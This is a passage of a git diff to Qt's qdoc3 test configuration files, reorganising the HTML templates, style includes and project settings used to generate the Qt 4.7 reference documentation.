    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " Search index:
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " Close \n" \ - "

    All | API | Articles | Examples

    \n" \ - "

     results:

    \n" \ - "
      \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " API Lookup

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Qt Topics

    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Examples

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
      \n" \ - "
    • Home
    • \n" \ - " \n" +HTML.postheader = \ + "
      \n" \ + "
      \n" \ + "
      \n" \ + " Home\n" \ + "
      \n" \ + " Qt Reference Documentation\n" \ + "
      \n" \ + "
      \n" \ + "
      \n" \ + "
      \n" \ + "
        \n" \ + "
      • Home
      • \n" \ + " \n" -HTML.postpostheader = "
      \n" \ - "
      \n" \ - "
      \n" \ - " \n" \ - "
      \n" \ - "
      \n" \ - "
      \n" +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" -HTML.footer = "" \ - "
    \n" \ - " [+] Documentation Feedback
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.

    \n" \ - "

    \n" \ - " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ - "
    \n" \ - "

    \n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.

    \n" \ - "

    \n" \ - " Alternatively, this document may be used under the terms of the GNU\n" \ - " Free Documentation License version 1.3\n" \ - " as published by the Free Software Foundation.

    \n" \ - "
    \n" \ - "
    \n" \ - "
    X
    \n" \ - "
    \n" \ - "

    Thank you for giving your feedback.

    Make sure it is related to this specific page. For more general bugs and \n" \ - " requests, please use the Qt Bug Tracker.

    \n" \ - "

    \n" \ - "

    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ No newline at end of file +HTML.footer = \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf new file mode 100644 index 0000000..fa15d90 --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates_ja_JP-online.qdocconf @@ -0,0 +1,176 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ +"
    \n" \ + "
    \n" \ + "
    \n" \ + " Home
    \n" \ + " Qt Reference Documentation\n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Search index:
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " API Lookup

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Qt Topics

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Examples

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" + +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf index da20766..18ed5c1 100644 --- a/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf +++ b/tools/qdoc3/test/qt-html-templates_ja_JP.qdocconf @@ -1,177 +1,63 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css - -HTML.postheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " Home
    \n" \ - " Qt Reference Documentation\n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " Search index:
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " API Lookup

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Qt Topics

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Examples

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
      \n" \ - "
    • Home
    • \n" \ - " \n" +include(qt-html-default-styles.qdocconf) -HTML.postpostheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" +HTML.postheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" -HTML.footer = " \n" \ - "
      \n" \ - " [+] Documentation Feedback
      \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.

    \n" \ - "

    \n" \ - " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ - "
    \n" \ - "

    \n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.

    \n" \ - "

    \n" \ - " Alternatively, this document may be used under the terms of the GNU\n" \ - " Free Documentation License version 1.3\n" \ - " as published by the Free Software Foundation.

    \n" \ - "
    \n" \ - "
    \n" \ - "
    X
    \n" \ - "
    \n" \ - "

    \n" \ - "

    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" +HTML.postpostheader = \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf new file mode 100644 index 0000000..285ec27 --- /dev/null +++ b/tools/qdoc3/test/qt-html-templates_zh_CN-online.qdocconf @@ -0,0 +1,176 @@ +include(qt-html-online-styles.qdocconf) + +HTML.postheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Home
    \n" \ + " Qt Reference Documentation\n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " Search index:
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " API Lookup

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Qt Topics

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " Examples

    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
      \n" \ + "
    • Home
    • \n" \ + " \n" + +HTML.postpostheader = \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" + +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf index 5c4bfa9..7773aa6 100644 --- a/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf +++ b/tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf @@ -1,177 +1,176 @@ -HTML.stylesheets = style/style.css \ - style/OfflineStyle.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style_ie6.css +include(qt-html-default-styles.qdocconf) -HTML.postheader = "
    \n" \ - "
    \n" \ - "
    \n" \ - " Home
    \n" \ - " Qt Reference Documentation\n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " Search index:
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " API Lookup

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Qt Topics

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " Examples

    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" -HTML.footer = " \n" \ - "
    \n" \ - " [+] Documentation Feedback
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - " \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "

    \n" \ - " © 2008-2010 Nokia Corporation and/or its\n" \ - " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ - " in Finland and/or other countries worldwide.

    \n" \ - "

    \n" \ - " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ - "
    \n" \ - "

    \n" \ - " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ - " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ - " with the terms contained in a written agreement between you and Nokia.

    \n" \ - "

    \n" \ - " Alternatively, this document may be used under the terms of the GNU\n" \ - " Free Documentation License version 1.3\n" \ - " as published by the Free Software Foundation.

    \n" \ - "
    \n" \ - "
    \n" \ - "
    X
    \n" \ - "
    \n" \ - "

    \n" \ - "

    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" +HTML.footer = \ + " \n" \ + "
    \n" \ + " [+] Documentation Feedback
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + " \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "

    \n" \ + " © 2008-2010 Nokia Corporation and/or its\n" \ + " subsidiaries. Nokia, Qt and their respective logos are trademarks of Nokia Corporation \n" \ + " in Finland and/or other countries worldwide.

    \n" \ + "

    \n" \ + " All other trademarks are property of their respective owners. Privacy Policy

    \n" \ + "
    \n" \ + "

    \n" \ + " Licensees holding valid Qt Commercial licenses may use this document in accordance with the" \ + " Qt Commercial License Agreement provided with the Software or, alternatively, in accordance" \ + " with the terms contained in a written agreement between you and Nokia.

    \n" \ + "

    \n" \ + " Alternatively, this document may be used under the terms of the GNU\n" \ + " Free Documentation License version 1.3\n" \ + " as published by the Free Software Foundation.

    \n" \ + "
    \n" \ + "
    \n" \ + "
    X
    \n" \ + "
    \n" \ + "

    \n" \ + "

    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" \ + "
    \n" diff --git a/tools/qdoc3/test/qt-project-api-only.qdocconf b/tools/qdoc3/test/qt-project-api-only.qdocconf new file mode 100644 index 0000000..4a91601 --- /dev/null +++ b/tools/qdoc3/test/qt-project-api-only.qdocconf @@ -0,0 +1,32 @@ +# Ensures that the generated index contains a URL that can be used by the +# tools documentation (assistant.qdocconf, designer.qdocconf, linguist.qdocconf, +# qmake.qdocconf). + +url = ./ + +# Ensures that the documentation for the tools is not included in the generated +# .qhp file. + +qhp.Qt.excluded += $QT_SOURCE_TREE/doc/src/development/assistant-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/simpletextviewer.qdoc \ + $QT_SOURCE_TREE/doc/src/development/designer-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/calculatorbuilder.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/calculatorform.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/customwidgetplugin.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/taskmenuextension.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/containerextension.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/worldtimeclockbuilder.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/worldtimeclockplugin.qdoc \ + $QT_SOURCE_TREE/doc/src/internationalization/linguist-manual.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/hellotr.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/arrowpad.qdoc \ + $QT_SOURCE_TREE/doc/src/examples/trollprint.qdoc \ + $QT_SOURCE_TREE/doc/src/development/qmake-manual.qdoc + +# Remove the QML documentation from the Qt-only documentation. + +excludedirs += $QT_SOURCE_TREE/src/imports + +outputdir = $QT_BUILD_TREE/doc-build/html-qt +tagfile = $QT_BUILD_TREE/doc-build/html-qt/qt.tags +base = file:$QT_BUILD_TREE/doc-build/html-qt diff --git a/tools/qdoc3/test/qt-project.qdocconf b/tools/qdoc3/test/qt-project.qdocconf new file mode 100644 index 0000000..7531b76 --- /dev/null +++ b/tools/qdoc3/test/qt-project.qdocconf @@ -0,0 +1,146 @@ +include(compat.qdocconf) +include(macros.qdocconf) +include(qt-cpp-ignore.qdocconf) +include(qt-defines.qdocconf) + +project = Qt +description = Qt Reference Documentation +url = http://qt.nokia.com/doc/4.7 + +sourceencoding = UTF-8 +outputencoding = UTF-8 +naturallanguage = en_US + +qhp.projects = Qt + +qhp.Qt.file = qt.qhp +qhp.Qt.namespace = com.trolltech.qt.471 +qhp.Qt.virtualFolder = qdoc +qhp.Qt.indexTitle = Qt Reference Documentation +qhp.Qt.indexRoot = + +# Files not referenced in any qdoc file (last four are needed by qtdemo) +# See also extraimages.HTML +qhp.Qt.extraFiles = index.html \ + images/bg_l.png \ + images/bg_l_blank.png \ + images/bg_ll_blank.png \ + images/bg_ul_blank.png \ + images/header_bg.png \ + images/bg_r.png \ + images/box_bg.png \ + images/breadcrumb.png \ + images/bullet_gt.png \ + images/bullet_dn.png \ + images/bullet_sq.png \ + images/bullet_up.png \ + images/arrow_down.png \ + images/feedbackground.png \ + images/horBar.png \ + images/page.png \ + images/page_bg.png \ + images/sprites-combined.png \ + images/spinner.gif \ + images/stylesheet-coffee-plastique.png \ + images/taskmenuextension-example.png \ + images/coloreditorfactoryimage.png \ + images/dynamiclayouts-example.png \ + scripts/functions.js \ + scripts/jquery.js \ + scripts/narrow.js \ + scripts/superfish.js \ + style/narrow.css \ + style/superfish.css \ + style/style_ie6.css \ + style/style_ie7.css \ + style/style_ie8.css \ + style/style.css + + + +qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc +qhp.Qt.customFilters.Qt.name = Qt 4.7.1 +qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 +qhp.Qt.subprojects = classes overviews examples +qhp.Qt.subprojects.classes.title = Classes +qhp.Qt.subprojects.classes.indexTitle = Qt's Classes +qhp.Qt.subprojects.classes.selectors = class fake:headerfile +qhp.Qt.subprojects.classes.sortPages = true +qhp.Qt.subprojects.overviews.title = Overviews +qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs +qhp.Qt.subprojects.overviews.selectors = fake:page,group,module +qhp.Qt.subprojects.examples.title = Tutorials and Examples +qhp.Qt.subprojects.examples.indexTitle = Qt Examples +qhp.Qt.subprojects.examples.selectors = fake:example + +language = Cpp + +headerdirs = $QT_SOURCE_TREE/src \ + $QT_SOURCE_TREE/extensions/activeqt \ + $QT_SOURCE_TREE/tools/assistant/lib \ + $QT_SOURCE_TREE/tools/assistant/compat/lib \ + $QT_SOURCE_TREE/tools/designer/src/uitools \ + $QT_SOURCE_TREE/tools/designer/src/lib/extension \ + $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ + $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ + $QT_SOURCE_TREE/tools/qtestlib/src \ + $QT_SOURCE_TREE/tools/qdbus/src +sourcedirs = $QT_SOURCE_TREE/src \ + $QT_SOURCE_TREE/doc/src \ + $QT_SOURCE_TREE/extensions/activeqt \ + $QT_SOURCE_TREE/tools/assistant/lib \ + $QT_SOURCE_TREE/tools/assistant/compat/lib \ + $QT_SOURCE_TREE/tools/designer/src/uitools \ + $QT_SOURCE_TREE/tools/designer/src/lib/extension \ + $QT_SOURCE_TREE/tools/designer/src/lib/sdk \ + $QT_SOURCE_TREE/tools/designer/src/lib/uilib \ + $QT_SOURCE_TREE/tools/qtestlib/src \ + $QT_SOURCE_TREE/tools/qdbus + +excludedirs = $QT_SOURCE_TREE/src/3rdparty/clucene \ + $QT_SOURCE_TREE/src/3rdparty/des \ + $QT_SOURCE_TREE/src/3rdparty/freetype \ + $QT_SOURCE_TREE/src/3rdparty/harfbuzz \ + $QT_SOURCE_TREE/src/3rdparty/kdebase \ + $QT_SOURCE_TREE/src/3rdparty/libconninet \ + $QT_SOURCE_TREE/src/3rdparty/libjpeg \ + $QT_SOURCE_TREE/src/3rdparty/libmng \ + $QT_SOURCE_TREE/src/3rdparty/libpng \ + $QT_SOURCE_TREE/src/3rdparty/libtiff \ + $QT_SOURCE_TREE/src/3rdparty/md4 \ + $QT_SOURCE_TREE/src/3rdparty/md5 \ + $QT_SOURCE_TREE/src/3rdparty/patches \ + $QT_SOURCE_TREE/src/3rdparty/sha1 \ + $QT_SOURCE_TREE/src/3rdparty/sqlite \ + $QT_SOURCE_TREE/src/3rdparty/webkit/JavaScriptCore \ + $QT_SOURCE_TREE/src/3rdparty/webkit/WebCore \ + $QT_SOURCE_TREE/src/3rdparty/wintab \ + $QT_SOURCE_TREE/src/3rdparty/zlib \ + $QT_SOURCE_TREE/src/3rdparty/phonon/gstreamer \ + $QT_SOURCE_TREE/src/3rdparty/phonon/ds9 \ + $QT_SOURCE_TREE/src/3rdparty/phonon/qt7 \ + $QT_SOURCE_TREE/src/3rdparty/phonon/mmf \ + $QT_SOURCE_TREE/src/3rdparty/phonon/waveout \ + $QT_SOURCE_TREE/doc/src/snippets \ + $QT_SOURCE_TREE/doc/src/ja_JP \ + $QT_SOURCE_TREE/doc/src/zh_CN + +sources.fileextensions = "*.cpp *.qdoc *.mm" +examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" +examples.imageextensions = "*.png" + +exampledirs = $QT_SOURCE_TREE/doc/src \ + $QT_SOURCE_TREE/examples \ + $QT_SOURCE_TREE/examples/tutorials \ + $QT_SOURCE_TREE \ + $QT_SOURCE_TREE/qmake/examples \ + $QT_SOURCE_TREE/src/3rdparty/webkit/WebKit/qt/docs +imagedirs = $QT_SOURCE_TREE/doc/src/images \ + $QT_SOURCE_TREE/examples \ + $QT_SOURCE_TREE/doc/src/declarative/pics \ + $QT_SOURCE_TREE/doc/src/template/images +outputdir = $QT_BUILD_TREE/doc/html +tagfile = $QT_BUILD_TREE/doc/html/qt.tags +base = file:$QT_BUILD_TREE/doc/html + +HTML.generatemacrefs = "true" diff --git a/tools/qdoc3/test/qt.qdocconf b/tools/qdoc3/test/qt.qdocconf deleted file mode 100644 index ea97205..0000000 --- a/tools/qdoc3/test/qt.qdocconf +++ /dev/null @@ -1,147 +0,0 @@ -include(compat.qdocconf) -include(macros.qdocconf) -include(qt-cpp-ignore.qdocconf) -include(qt-html-templates.qdocconf) -include(qt-defines.qdocconf) - -project = Qt -versionsym = -version = %VERSION% -description = Qt Reference Documentation -url = http://qt.nokia.com/doc/4.7 - -sourceencoding = UTF-8 -outputencoding = UTF-8 -naturallanguage = en_US - -qhp.projects = Qt - -qhp.Qt.file = qt.qhp -qhp.Qt.namespace = com.trolltech.qt.471 -qhp.Qt.virtualFolder = qdoc -qhp.Qt.indexTitle = Qt Reference Documentation -qhp.Qt.indexRoot = - -# Files not referenced in any qdoc file (last four are needed by qtdemo) -# See also extraimages.HTML -qhp.Qt.extraFiles = index.html \ - images/bg_l.png \ - images/bg_l_blank.png \ - images/bg_ll_blank.png \ - images/bg_ul_blank.png \ - images/header_bg.png \ - images/bg_r.png \ - images/box_bg.png \ - images/breadcrumb.png \ - images/bullet_gt.png \ - images/bullet_dn.png \ - images/bullet_sq.png \ - images/bullet_up.png \ - images/arrow_down.png \ - images/feedbackground.png \ - images/horBar.png \ - images/page.png \ - images/page_bg.png \ - images/sprites-combined.png \ - images/spinner.gif \ - images/stylesheet-coffee-plastique.png \ - images/taskmenuextension-example.png \ - images/coloreditorfactoryimage.png \ - images/dynamiclayouts-example.png \ - scripts/functions.js \ - scripts/jquery.js \ - scripts/narrow.js \ - scripts/superfish.js \ - style/narrow.css \ - style/superfish.css \ - style/style_ie6.css \ - style/style_ie7.css \ - style/style_ie8.css \ - style/style.css - -qhp.Qt.filterAttributes = qt 4.7.1 qtrefdoc -qhp.Qt.customFilters.Qt.name = Qt 4.7.1 -qhp.Qt.customFilters.Qt.filterAttributes = qt 4.7.1 -qhp.Qt.subprojects = classes overviews examples -qhp.Qt.subprojects.classes.title = Classes -qhp.Qt.subprojects.classes.indexTitle = Qt's Classes -qhp.Qt.subprojects.classes.selectors = class fake:headerfile -qhp.Qt.subprojects.classes.sortPages = true -qhp.Qt.subprojects.overviews.title = Overviews -qhp.Qt.subprojects.overviews.indexTitle = All Overviews and HOWTOs -qhp.Qt.subprojects.overviews.selectors = fake:page,group,module -qhp.Qt.subprojects.examples.title = Tutorials and Examples -qhp.Qt.subprojects.examples.indexTitle = Qt Examples -qhp.Qt.subprojects.examples.selectors = fake:example - -language = Cpp - -headerdirs = $QTDIR/src \ - $QTDIR/extensions/activeqt \ - $QTDIR/tools/assistant/lib \ - $QTDIR/tools/assistant/compat/lib \ - $QTDIR/tools/designer/src/uitools \ - $QTDIR/tools/designer/src/lib/extension \ - $QTDIR/tools/designer/src/lib/sdk \ - $QTDIR/tools/designer/src/lib/uilib \ - $QTDIR/tools/qtestlib/src \ - $QTDIR/tools/qdbus/src -sourcedirs = $QTDIR/src \ - $QTDIR/doc/src \ - $QTDIR/extensions/activeqt \ - $QTDIR/tools/assistant/lib \ - $QTDIR/tools/assistant/compat/lib \ - $QTDIR/tools/designer/src/uitools \ - $QTDIR/tools/designer/src/lib/extension \ - $QTDIR/tools/designer/src/lib/sdk \ - $QTDIR/tools/designer/src/lib/uilib \ - $QTDIR/tools/qtestlib/src \ - $QTDIR/tools/qdbus - -excludedirs = $QTDIR/src/3rdparty/clucene \ - $QTDIR/src/3rdparty/des \ - $QTDIR/src/3rdparty/freetype \ - $QTDIR/src/3rdparty/harfbuzz \ - $QTDIR/src/3rdparty/kdebase \ - $QTDIR/src/3rdparty/libconninet \ - $QTDIR/src/3rdparty/libjpeg \ - $QTDIR/src/3rdparty/libmng \ - $QTDIR/src/3rdparty/libpng \ - $QTDIR/src/3rdparty/libtiff \ - $QTDIR/src/3rdparty/md4 \ - $QTDIR/src/3rdparty/md5 \ - $QTDIR/src/3rdparty/patches \ - $QTDIR/src/3rdparty/sha1 \ - $QTDIR/src/3rdparty/sqlite \ - $QTDIR/src/3rdparty/webkit/JavaScriptCore \ - $QTDIR/src/3rdparty/webkit/WebCore \ - $QTDIR/src/3rdparty/wintab \ - $QTDIR/src/3rdparty/zlib \ - $QTDIR/src/3rdparty/phonon/gstreamer \ - $QTDIR/src/3rdparty/phonon/ds9 \ - $QTDIR/src/3rdparty/phonon/qt7 \ - $QTDIR/src/3rdparty/phonon/mmf \ - $QTDIR/src/3rdparty/phonon/waveout \ - $QTDIR/doc/src/snippets \ - $QTDIR/doc/src/ja_JP \ - $QTDIR/doc/src/zh_CN - -sources.fileextensions = "*.cpp *.qdoc *.mm" -examples.fileextensions = "*.cpp *.h *.js *.xq *.svg *.xml *.ui *.qhp *.qhcp *.qml" -examples.imageextensions = "*.png" - -exampledirs = $QTDIR/doc/src \ - $QTDIR/examples \ - $QTDIR/examples/tutorials \ - $QTDIR \ - 